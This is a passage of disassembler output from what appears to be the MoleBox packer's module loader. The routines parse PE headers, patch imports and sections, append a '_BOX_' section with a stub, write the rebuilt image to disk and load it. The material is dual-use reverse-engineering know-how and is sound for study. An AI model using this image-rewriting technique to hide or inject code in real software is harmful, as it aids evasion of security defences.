cmp ds:dword_51196C, 0 setnz al pop ebp retn sub_50613C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50614D proc near ; CODE XREF: sub_504DC0:loc_50500Ap ; sub_5061E1:loc_50705Cp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h loc_506153: ; CODE XREF: sub_50614D+89j and [ebp+var_4], 0 cmp ds:dword_51196C, 0 jz short loc_5061D0 mov [ebp+var_8], offset dword_51196C loc_506167: ; CODE XREF: sub_50614D:loc_5061CEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_5061D0 mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_C], eax push 0 push 1 mov eax, [ebp+var_C] push dword ptr [eax] mov eax, [ebp+var_C] push dword ptr [eax+0Ch] mov eax, [ebp+var_C] push dword ptr [eax+8] mov eax, [ebp+var_C] push dword ptr [eax+4] call sub_504D70 add esp, 18h movzx eax, al test eax, eax jz short loc_5061C3 mov [ebp+var_4], 1 mov eax, [ebp+var_8] mov eax, [eax] mov ecx, [ebp+var_8] mov eax, [eax+10h] mov [ecx], eax mov eax, [ebp+var_C] mov [ebp+var_10], eax push [ebp+var_10] call sub_5083DD pop ecx jmp short loc_5061CE ; --------------------------------------------------------------------------- loc_5061C3: ; CODE XREF: sub_50614D+52j mov eax, [ebp+var_8] mov eax, [eax] add eax, 10h mov [ebp+var_8], eax loc_5061CE: ; CODE XREF: sub_50614D+74j jmp short loc_506167 ; --------------------------------------------------------------------------- loc_5061D0: ; CODE XREF: sub_50614D+11j ; sub_50614D+20j movzx eax, [ebp+var_4] test eax, eax jnz loc_506153 mov al, [ebp+var_4] leave retn sub_50614D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5061E1 proc near ; CODE XREF: sub_50931F+2Fp ; sub_50AE2D+2Dp var_148 = dword ptr -148h var_144 = dword ptr -144h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_10C = dword ptr -10Ch var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = byte ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00506B27 SIZE 00000058 BYTES ; FUNCTION CHUNK AT 00506B8F SIZE 000004F6 BYTES ; FUNCTION CHUNK AT 00507132 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E4C0 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 130h push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_12C], edx mov [ebp+var_128], ecx or [ebp+var_3C], 0FFFFFFFFh or [ebp+var_38], 0FFFFFFFFh or [ebp+var_58], 0FFFFFFFFh and [ebp+var_34], 0 and [ebp+var_30], 0 and [ebp+var_1C], 0 and [ebp+var_2C], 0 and [ebp+var_54], 0 and [ebp+var_4C], 0 and [ebp+var_50], 0 and [ebp+var_40], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 and [ebp+var_5C], 0 and [ebp+var_20], 0 push offset dword_511930 call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_48], 0 mov eax, ds:dword_511964 mov [ebp+var_44], eax and [ebp+var_4], 0 push [ebp+var_128] call ds:dword_511718 ; GetModuleHandleA test eax, eax jz short loc_5062A9 push [ebp+var_128] call ds:dword_51175C ; LoadLibraryA push 0FFFFFFFFh mov [ebp+var_130], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_130] jmp loc_507132 ; --------------------------------------------------------------------------- loc_5062A9: ; CODE XREF: sub_5061E1+9Cj push [ebp+var_12C] lea eax, [ebp+var_24] push eax push [ebp+var_128] call sub_50581E add esp, 0Ch mov [ebp+var_6C], eax cmp ds:dword_511964, 0 jz short loc_50632D cmp [ebp+var_6C], 0 jz short loc_50632D mov eax, ds:dword_511964 mov [ebp+var_74], eax jmp short loc_5062F1 ; --------------------------------------------------------------------------- loc_5062DD: ; CODE XREF: sub_5061E1:loc_50632Bj mov eax, [ebp+var_74] mov eax, [eax+4] mov [ebp+var_74], eax mov eax, ds:dword_511968 inc eax mov ds:dword_511968, eax loc_5062F1: ; CODE XREF: sub_5061E1+FAj cmp [ebp+var_74], 0 jz short loc_50632D mov eax, [ebp+var_74] mov eax, [eax] cmp eax, [ebp+var_6C] jnz short loc_50632B mov eax, ds:dword_511968 inc eax mov ds:dword_511968, eax push 0FFFFFFFFh and [ebp+var_134], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_134] jmp loc_507132 ; --------------------------------------------------------------------------- loc_50632B: ; CODE XREF: sub_5061E1+11Ej jmp short loc_5062DD ; --------------------------------------------------------------------------- loc_50632D: ; CODE XREF: sub_5061E1+EAj ; sub_5061E1+F0j ... and ds:dword_511968, 0 mov eax, [ebp+var_6C] mov [ebp+var_48], eax lea eax, [ebp+var_48] mov ds:dword_511964, eax cmp [ebp+var_6C], 0 jnz loc_5063CE mov eax, [ebp+var_128] mov [ebp+var_78], eax push [ebp+var_12C] push 0 push [ebp+var_78] call ds:dword_511758 ; LoadLibraryExA mov [ebp+var_7C], eax cmp [ebp+var_7C], 0 jz short loc_50638E mov eax, [ebp+var_12C] and eax, 2 test eax, eax jnz short loc_5063AD push [ebp+var_128] push [ebp+var_7C] call sub_505070 test eax, eax jnz short loc_5063AD loc_50638E: ; CODE XREF: sub_5061E1+18Cj call ds:dword_511710 ; RtlGetLastWin32Error test eax, eax jnz short loc_5063A0 push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error loc_5063A0: ; CODE XREF: sub_5061E1+1B5j push [ebp+var_7C] call ds:dword_5116E0 ; FreeLibrary and [ebp+var_7C], 0 loc_5063AD: ; CODE XREF: sub_5061E1+199j ; sub_5061E1+1ABj push 0FFFFFFFFh mov eax, [ebp+var_7C] mov [ebp+var_138], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_138] jmp loc_507132 ; --------------------------------------------------------------------------- loc_5063CE: ; CODE XREF: sub_5061E1+165j push 0 push 0 push [ebp+var_6C] call sub_508892 add esp, 0Ch mov [ebp+var_28], eax push [ebp+var_28] call ds:dword_511718 ; GetModuleHandleA mov [ebp+var_80], eax cmp [ebp+var_80], 0 jz short loc_506413 push 0FFFFFFFFh mov eax, [ebp+var_80] mov [ebp+var_13C], eax lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_13C] jmp loc_507132 ; --------------------------------------------------------------------------- loc_506413: ; CODE XREF: sub_5061E1+20Fj mov eax, [ebp+var_24] mov [ebp+var_84], eax jmp short loc_50642B ; --------------------------------------------------------------------------- loc_50641E: ; CODE XREF: sub_5061E1:loc_50644Fj mov eax, [ebp+var_84] inc eax mov [ebp+var_84], eax loc_50642B: ; CODE XREF: sub_5061E1+23Bj mov eax, [ebp+var_84] movsx eax, byte ptr [eax] test eax, eax jz short loc_506451 mov eax, [ebp+var_84] movsx eax, byte ptr [eax] cmp eax, 2Fh jnz short loc_50644F mov eax, [ebp+var_84] mov byte ptr [eax], 5Ch loc_50644F: ; CODE XREF: sub_5061E1+263j jmp short loc_50641E ; --------------------------------------------------------------------------- loc_506451: ; CODE XREF: sub_5061E1+255j push 0 lea eax, [ebp+var_3C] push eax push 0 push 0 push [ebp+var_24] call sub_500346 test eax, eax jnz short loc_506477 cmp [ebp+var_3C], 0 jnz short loc_506477 mov ecx, 0EF00000Fh call sub_508342 loc_506477: ; CODE XREF: sub_5061E1+284j ; sub_5061E1+28Aj lea eax, [ebp+var_60] push eax push [ebp+var_3C] call sub_500672 push 40h call sub_50835A pop ecx mov [ebp+var_F4], eax mov eax, [ebp+var_F4] mov [ebp+var_50], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 40h push [ebp+var_50] push [ebp+var_3C] call sub_501177 test eax, eax jz short loc_5064B9 cmp [ebp+var_64], 0 jnz short loc_5064C3 loc_5064B9: ; CODE XREF: sub_5061E1+2D0j mov ecx, 0EF00000Fh call sub_508342 loc_5064C3: ; CODE XREF: sub_5061E1+2D6j push 0 push 0 mov eax, [ebp+var_50] push dword ptr [eax+3Ch] push [ebp+var_3C] call sub_500421 push 0F8h call sub_50835A pop ecx mov [ebp+var_F8], eax mov eax, [ebp+var_F8] mov [ebp+var_4C], eax lea eax, [ebp+var_64] push eax push 0 push 0 push 0F8h push [ebp+var_4C] push [ebp+var_3C] call sub_501177 test eax, eax jz short loc_506511 cmp [ebp+var_64], 0 jnz short loc_50651B loc_506511: ; CODE XREF: sub_5061E1+328j mov ecx, 0EF00000Fh call sub_508342 loc_50651B: ; CODE XREF: sub_5061E1+32Ej mov eax, [ebp+var_4C] cmp dword ptr [eax], 4550h jz short loc_506530 mov ecx, 0EF00000Ch call sub_508342 loc_506530: ; CODE XREF: sub_5061E1+343j mov eax, [ebp+var_4C] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_4C] lea eax, [ecx+eax+18h] sub eax, [ebp+var_4C] mov ecx, [ebp+var_50] mov ecx, [ecx+3Ch] add ecx, eax mov [ebp+var_70], ecx mov eax, [ebp+var_4C] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_70] add ecx, eax mov [ebp+var_68], ecx mov [ebp+var_34], 600h push [ebp+var_34] call sub_50835A pop ecx mov [ebp+var_FC], eax mov eax, [ebp+var_FC] mov [ebp+var_1C], eax mov ecx, [ebp+var_34] xor eax, eax mov edi, [ebp+var_1C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 200h call sub_50835A pop ecx mov [ebp+var_100], eax mov eax, [ebp+var_100] mov [ebp+var_54], eax mov ecx, 80h mov eax, 90909090h mov edi, [ebp+var_54] rep stosd push 0 push 0 push 0 push [ebp+var_3C] call sub_500421 lea eax, [ebp+var_64] push eax push 0 push 0 push [ebp+var_68] push [ebp+var_1C] push [ebp+var_3C] call sub_501177 test eax, eax jz short loc_5065EA cmp [ebp+var_64], 0 jnz short loc_5065F4 loc_5065EA: ; CODE XREF: sub_5061E1+401j mov ecx, 0EF00000Fh call sub_508342 loc_5065F4: ; CODE XREF: sub_5061E1+407j mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] add ecx, [eax+3Ch] mov [ebp+var_A0], ecx mov eax, [ebp+var_A0] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_A0] lea eax, [ecx+eax+18h] mov [ebp+var_90], eax mov eax, [ebp+var_A0] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_90] add ecx, eax mov [ebp+var_8C], ecx mov eax, [ebp+var_A0] add eax, 88h mov [ebp+var_98], eax mov eax, [ebp+var_A0] add eax, 80h mov [ebp+var_88], eax mov eax, [ebp+var_A0] and dword ptr [eax+24h], 0 mov eax, [ebp+var_A0] and dword ptr [eax+20h], 0 mov eax, [ebp+var_A0] and dword ptr [eax+1Ch], 0 mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+0A0h] mov [eax+34h], ecx mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+0A4h] mov [eax+38h], ecx mov eax, [ebp+var_A0] cmp dword ptr [eax+84h], 0 jz short loc_5066BF mov eax, [ebp+var_54] mov ecx, [ebp+var_A0] mov ecx, [ecx+80h] mov [eax+3Ch], ecx jmp short loc_5066C6 ; --------------------------------------------------------------------------- loc_5066BF: ; CODE XREF: sub_5061E1+4C8j mov eax, [ebp+var_54] and dword ptr [eax+3Ch], 0 loc_5066C6: ; CODE XREF: sub_5061E1+4DCj mov eax, [ebp+var_54] add eax, 40h mov [ebp+var_94], eax mov eax, [ebp+var_94] and dword ptr [eax], 0 mov eax, [ebp+var_54] add eax, 44h mov [ebp+var_9C], eax jmp short loc_5066F8 ; --------------------------------------------------------------------------- loc_5066E9: ; CODE XREF: sub_5061E1:loc_506C30j mov eax, [ebp+var_90] add eax, 28h mov [ebp+var_90], eax loc_5066F8: ; CODE XREF: sub_5061E1+506j mov eax, [ebp+var_90] cmp eax, [ebp+var_8C] jnb loc_506C35 mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+14h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+10h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax mov eax, [ebp+var_9C] mov ecx, [ebp+var_90] mov ecx, [ecx+24h] mov [eax], ecx mov eax, [ebp+var_9C] add eax, 4 mov [ebp+var_9C], eax cmp ds:dword_511680, 2 jnb loc_50686E mov eax, [ebp+var_90] mov ecx, [ebp+var_98] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_50686E mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov ecx, [ebp+var_90] add eax, [ecx+10h] mov ecx, [ebp+var_98] cmp eax, [ecx] jbe loc_50686E push 200h mov eax, [ebp+var_90] push dword ptr [eax+10h] call sub_505AE5 pop ecx pop ecx mov [ebp+var_30], eax push [ebp+var_30] call sub_50835A pop ecx mov [ebp+var_104], eax mov eax, [ebp+var_104] mov [ebp+var_2C], eax mov eax, [ebp+var_A0] push dword ptr [eax+38h] mov eax, [ebp+var_90] push dword ptr [eax+8] call sub_505AE5 pop ecx pop ecx mov ecx, [ebp+var_A0] mov ecx, [ecx+20h] add ecx, eax mov eax, [ebp+var_A0] mov [eax+20h], ecx push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+14h] push [ebp+var_3C] call sub_500421 lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+10h] push [ebp+var_2C] push [ebp+var_3C] call sub_501177 test eax, eax jz short loc_506846 cmp [ebp+var_64], 0 jnz short loc_506850 loc_506846: ; CODE XREF: sub_5061E1+65Dj mov ecx, 0EF00000Fh call sub_508342 loc_506850: ; CODE XREF: sub_5061E1+663j mov eax, [ebp+var_90] mov ecx, [ebp+var_34] mov [eax+14h], ecx mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0C0000040h jmp loc_506C30 ; --------------------------------------------------------------------------- loc_50686E: ; CODE XREF: sub_5061E1+590j ; sub_5061E1+5A7j ... mov eax, [ebp+var_90] mov ecx, [ebp+var_88] mov eax, [eax+0Ch] cmp eax, [ecx] ja loc_506B8F mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov ecx, [ebp+var_90] add eax, [ecx+10h] mov ecx, [ebp+var_88] cmp eax, [ecx] jbe loc_506B8F and [ebp+var_A8], 0 mov [ebp+var_4], 1 push 4 push 1000h mov eax, [ebp+var_90] push dword ptr [eax+10h] push 0 call ds:dword_5117A4 ; VirtualAlloc mov [ebp+var_A8], eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+14h] push [ebp+var_3C] call sub_500421 lea eax, [ebp+var_64] push eax push 0 push 0 mov eax, [ebp+var_90] push dword ptr [eax+10h] push [ebp+var_A8] push [ebp+var_3C] call sub_501177 test eax, eax jz short loc_50690F cmp [ebp+var_64], 0 jnz short loc_506919 loc_50690F: ; CODE XREF: sub_5061E1+726j mov ecx, 0EF00000Fh call sub_508342 loc_506919: ; CODE XREF: sub_5061E1+72Cj mov eax, [ebp+var_90] mov eax, [eax+0Ch] mov [ebp+var_B0], eax mov eax, [ebp+var_88] mov eax, [eax] sub eax, [ebp+var_B0] mov ecx, [ebp+var_A8] add ecx, eax mov [ebp+var_AC], ecx and [ebp+var_B4], 0 jmp short loc_50695A ; --------------------------------------------------------------------------- loc_50694D: ; CODE XREF: sub_5061E1:loc_506B5Aj mov eax, [ebp+var_B4] inc eax mov [ebp+var_B4], eax loc_50695A: ; CODE XREF: sub_5061E1+76Aj mov eax, [ebp+var_88] mov eax, [eax+4] xor edx, edx push 14h pop ecx div ecx cmp [ebp+var_B4], eax jnb loc_506B5F mov eax, [ebp+var_B4] imul eax, 14h mov ecx, [ebp+var_AC] cmp dword ptr [ecx+eax+0Ch], 0 jnz short loc_506991 jmp loc_506B5F ; --------------------------------------------------------------------------- loc_506991: ; CODE XREF: sub_5061E1+7A9j mov eax, [ebp+var_B4] imul eax, 14h mov ecx, [ebp+var_AC] mov edx, [ebp+var_A8] add edx, [ecx+eax+0Ch] sub edx, [ebp+var_B0] mov [ebp+var_BC], edx mov eax, [ebp+var_90] mov ecx, [ebp+var_A8] add ecx, [eax+10h] cmp [ebp+var_BC], ecx jbe short loc_5069D2 jmp loc_506B5F ; --------------------------------------------------------------------------- loc_5069D2: ; CODE XREF: sub_5061E1+7EAj mov eax, [ebp+var_BC] movsx eax, byte ptr [eax] test eax, eax jnz short loc_5069E4 jmp loc_506B5F ; --------------------------------------------------------------------------- loc_5069E4: ; CODE XREF: sub_5061E1+7FCj and ds:dword_511968, 0 and [ebp+var_B8], 0 push [ebp+var_BC] call sub_50AE83 mov [ebp+var_B8], eax cmp [ebp+var_B8], 0 jnz loc_506B27 cmp ds:dword_511968, 0 jz short loc_506A1E jmp loc_506B29 ; --------------------------------------------------------------------------- loc_506A1E: ; CODE XREF: sub_5061E1+836j mov edi, [ebp+var_BC] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx push [ebp+var_24] call sub_5092CA pop ecx pop ecx mov [ebp+var_C0], eax mov [ebp+var_4], 2 push 5Ch push [ebp+var_C0] call sub_4FC700 pop ecx pop ecx mov [ebp+var_C4], eax cmp [ebp+var_C4], 0 jz short loc_506A72 mov eax, [ebp+var_C4] inc eax mov [ebp+var_C4], eax jmp short loc_506A7E ; --------------------------------------------------------------------------- loc_506A72: ; CODE XREF: sub_5061E1+880j mov eax, [ebp+var_C0] mov [ebp+var_C4], eax loc_506A7E: ; CODE XREF: sub_5061E1+88Fj mov edi, [ebp+var_BC] mov edx, [ebp+var_C4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push [ebp+var_C0] call sub_50AE83 mov [ebp+var_B8], eax cmp [ebp+var_B8], 0 jnz short loc_506B00 cmp ds:dword_511968, 0 jz short loc_506AD9 push 1 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx jmp short loc_506B29 ; --------------------------------------------------------------------------- loc_506AD9: ; CODE XREF: sub_5061E1+8E7j push 7Eh call ds:dword_51178C ; RtlRestoreLastWin32Error push 0FFFFFFFFh and [ebp+var_140], 0 lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx mov eax, [ebp+var_140] jmp loc_507132 ; --------------------------------------------------------------------------- loc_506B00: ; CODE XREF: sub_5061E1+8DEj mov [ebp+var_4], 1 call sub_506B0E jmp short loc_506B27 sub_5061E1 endp ; =============== S U B R O U T I N E ======================================= sub_506B0E proc near ; CODE XREF: sub_5061E1+926p ; DATA XREF: _6:0050E4E0o mov eax, [ebp-0C0h] mov [ebp-108h], eax push dword ptr [ebp-108h] call sub_5083DD pop ecx retn sub_506B0E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5061E1 loc_506B27: ; CODE XREF: sub_5061E1+829j ; sub_5061E1+92Bj jmp short loc_506B2D ; --------------------------------------------------------------------------- loc_506B29: ; CODE XREF: sub_5061E1+838j ; sub_5061E1+8F6j mov [ebp+var_5C], 1 loc_506B2D: ; CODE XREF: sub_5061E1:loc_506B27j cmp [ebp+var_B8], 0 jz short loc_506B5A mov eax, [ebp+var_94] push dword ptr [eax] push [ebp+var_B8] push [ebp+var_BC] call sub_5056EB add esp, 0Ch mov ecx, [ebp+var_94] mov [ecx], eax loc_506B5A: ; CODE XREF: sub_5061E1+953j jmp loc_50694D ; --------------------------------------------------------------------------- loc_506B5F: ; CODE XREF: sub_5061E1+78Fj ; sub_5061E1+7ABj ... push 8000h push 0 push [ebp+var_A8] call ds:dword_5117A8 ; VirtualFree and [ebp+var_A8], 0 and [ebp+var_4], 0 jmp short loc_506B8F ; END OF FUNCTION CHUNK FOR sub_5061E1 ; =============== S U B R O U T I N E ======================================= sub_506B7F proc near ; DATA XREF: _6:0050E4D0o push dword ptr [ebp-14h] call sub_508C27 retn sub_506B7F endp ; =============== S U B R O U T I N E ======================================= sub_506B88 proc near ; DATA XREF: _6:0050E4D4o mov esp, [ebp-18h] and dword ptr [ebp-4], 0 sub_506B88 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_5061E1 loc_506B8F: ; CODE XREF: sub_5061E1+69Ej ; sub_5061E1+6BEj ... mov eax, [ebp+var_90] mov ecx, [ebp+var_90] mov eax, [eax+8] cmp eax, [ecx+10h] jbe short loc_506BB4 mov eax, [ebp+var_90] mov eax, [eax+8] mov [ebp+var_144], eax jmp short loc_506BC3 ; --------------------------------------------------------------------------- loc_506BB4: ; CODE XREF: sub_5061E1+9C0j mov eax, [ebp+var_90] mov eax, [eax+10h] mov [ebp+var_144], eax loc_506BC3: ; CODE XREF: sub_5061E1+9D1j mov eax, [ebp+var_A0] push dword ptr [eax+38h] push [ebp+var_144] call sub_505AE5 pop ecx pop ecx mov ecx, [ebp+var_90] mov [ecx+8], eax mov eax, [ebp+var_A0] push dword ptr [eax+38h] mov eax, [ebp+var_90] push dword ptr [eax+8] call sub_505AE5 pop ecx pop ecx mov ecx, [ebp+var_A0] mov ecx, [ecx+24h] add ecx, eax mov eax, [ebp+var_A0] mov [eax+24h], ecx mov eax, [ebp+var_90] and dword ptr [eax+10h], 0 mov eax, [ebp+var_90] and dword ptr [eax+14h], 0 mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0E0000080h loc_506C30: ; CODE XREF: sub_5061E1+688j jmp loc_5066E9 ; --------------------------------------------------------------------------- loc_506C35: ; CODE XREF: sub_5061E1+523j and [ebp+var_A4], 0 jmp short loc_506C4B ; --------------------------------------------------------------------------- loc_506C3E: ; CODE XREF: sub_5061E1+A7Cj ; sub_5061E1+A87j ... mov eax, [ebp+var_A4] inc eax mov [ebp+var_A4], eax loc_506C4B: ; CODE XREF: sub_5061E1+A5Bj cmp [ebp+var_A4], 10h jnb short loc_506C8E cmp [ebp+var_A4], 0 jnz short loc_506C5F jmp short loc_506C3E ; --------------------------------------------------------------------------- loc_506C5F: ; CODE XREF: sub_5061E1+A7Aj cmp [ebp+var_A4], 2 jnz short loc_506C6A jmp short loc_506C3E ; --------------------------------------------------------------------------- loc_506C6A: ; CODE XREF: sub_5061E1+A85j mov eax, [ebp+var_A4] mov ecx, [ebp+var_A0] and dword ptr [ecx+eax*8+7Ch], 0 mov eax, [ebp+var_A4] mov ecx, [ebp+var_A0] and dword ptr [ecx+eax*8+78h], 0 jmp short loc_506C3E ; --------------------------------------------------------------------------- loc_506C8E: ; CODE XREF: sub_5061E1+A71j push 0Ah pop ecx xor eax, eax mov edi, [ebp+var_90] rep stosd mov eax, [ebp+var_34] add eax, [ebp+var_30] mov ecx, [ebp+var_90] mov [ecx+14h], eax mov eax, [ebp+var_90] mov ecx, [ebp+var_A0] mov ecx, [ecx+50h] mov [eax+0Ch], ecx mov esi, offset a_box_ ; "_BOX_" mov edi, [ebp+var_90] movsd movsw mov eax, [ebp+var_90] mov ecx, [ebp+var_A0] mov ecx, [ecx+38h] mov [eax+8], ecx mov eax, [ebp+var_90] mov dword ptr [eax+10h], 200h mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0E0000020h mov eax, [ebp+var_A0] mov dword ptr [eax+3Ch], 200h mov eax, [ebp+var_A0] mov eax, [eax+50h] mov ecx, [ebp+var_A0] add eax, [ecx+38h] mov ecx, [ebp+var_A0] mov [ecx+50h], eax mov eax, [ebp+var_A0] mov eax, [eax+1Ch] mov ecx, [ebp+var_A0] add eax, [ecx+3Ch] mov ecx, [ebp+var_A0] mov [ecx+1Ch], eax mov eax, [ebp+var_A0] mov eax, [eax+28h] mov [ebp+var_20], eax push 5 pop ecx mov esi, offset loc_510C70 mov edi, [ebp+var_54] rep movsd movsw movsb mov eax, [ebp+var_54] inc eax mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_A0] mov ecx, [ecx+28h] mov [eax+1], ecx call sub_5058A0 mov ecx, [ebp+var_C8] mov ecx, [ecx+1] xor ecx, eax mov eax, [ebp+var_C8] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_24] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_3C] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] inc eax mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov dword ptr [eax+1], offset sub_505BD7 and [ebp+var_C8], 0 xor eax, eax mov edi, [ebp+var_54] add edi, 20h stosd stosd stosd mov eax, [ebp+var_54] mov dword ptr [eax+24h], 8 mov eax, [ebp+var_A0] mov dword ptr [eax+0A4h], 8 mov eax, [ebp+var_90] mov eax, [eax+0Ch] add eax, 20h mov ecx, [ebp+var_A0] mov [ecx+0A0h], eax mov eax, [ebp+var_A0] mov ecx, [ebp+var_90] mov ecx, [ecx+0Ch] mov [eax+28h], ecx mov eax, [ebp+var_A0] mov ax, [eax+6] add ax, 1 mov ecx, [ebp+var_A0] mov [ecx+6], ax mov eax, [ebp+var_A0] and dword ptr [eax+58h], 0 push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+var_28] call ds:dword_5116A8 ; CreateFileA mov [ebp+var_58], eax cmp [ebp+var_58], 0FFFFFFFFh jnz short loc_506E8C mov ecx, 0EF000011h call sub_508342 loc_506E8C: ; CODE XREF: sub_5061E1+C9Fj push 0 lea eax, [ebp+var_CC] push eax push [ebp+var_34] push [ebp+var_1C] push [ebp+var_58] call ds:dword_5117BC ; WriteFile cmp [ebp+var_2C], 0 jz short loc_506EC2 push 0 lea eax, [ebp+var_CC] push eax push [ebp+var_30] push [ebp+var_2C] push [ebp+var_58] call ds:dword_5117BC ; WriteFile loc_506EC2: ; CODE XREF: sub_5061E1+CC7j push 0 lea eax, [ebp+var_CC] push eax push 200h push [ebp+var_54] push [ebp+var_58] call ds:dword_5117BC ; WriteFile push [ebp+var_58] call ds:dword_5116D8 ; FlushFileBuffers push [ebp+var_58] call ds:dword_5116A4 ; CloseHandle mov ds:dword_511958, 1 push [ebp+var_28] call ds:dword_51175C ; LoadLibraryA mov [ebp+var_D0], eax cmp [ebp+var_D0], 0 jnz short loc_506F2B push 351h push offset aDProjectsMy_sr ; "D:\\Projects\\My.SRC\\MoleStudio\\MoleBox\\m"... call sub_5087CA pop ecx pop ecx mov ecx, 0EF000010h call sub_508342 loc_506F2B: ; CODE XREF: sub_5061E1+D2Dj movzx eax, [ebp+var_5C] test eax, eax jz loc_50705C mov eax, [ebp+var_D0] mov [ebp+var_DC], eax mov eax, [ebp+var_DC] mov ecx, [ebp+var_DC] add ecx, [eax+3Ch] mov [ebp+var_EC], ecx mov eax, [ebp+var_EC] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_EC] lea eax, [ecx+eax+18h] mov [ebp+var_E8], eax mov eax, [ebp+var_EC] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_E8] lea eax, [ecx+eax-28h] mov [ebp+var_E0], eax mov eax, [ebp+var_E0] mov eax, [eax+0Ch] mov ecx, [ebp+var_DC] mov eax, [ecx+eax+3Ch] mov [ebp+var_E4], eax mov eax, [ebp+var_DC] add eax, [ebp+var_E4] mov [ebp+var_D8], eax push 5Ch push [ebp+var_24] call sub_4FC700 pop ecx pop ecx mov [ebp+var_D4], eax cmp [ebp+var_D4], 0 jnz short loc_506FE0 mov eax, 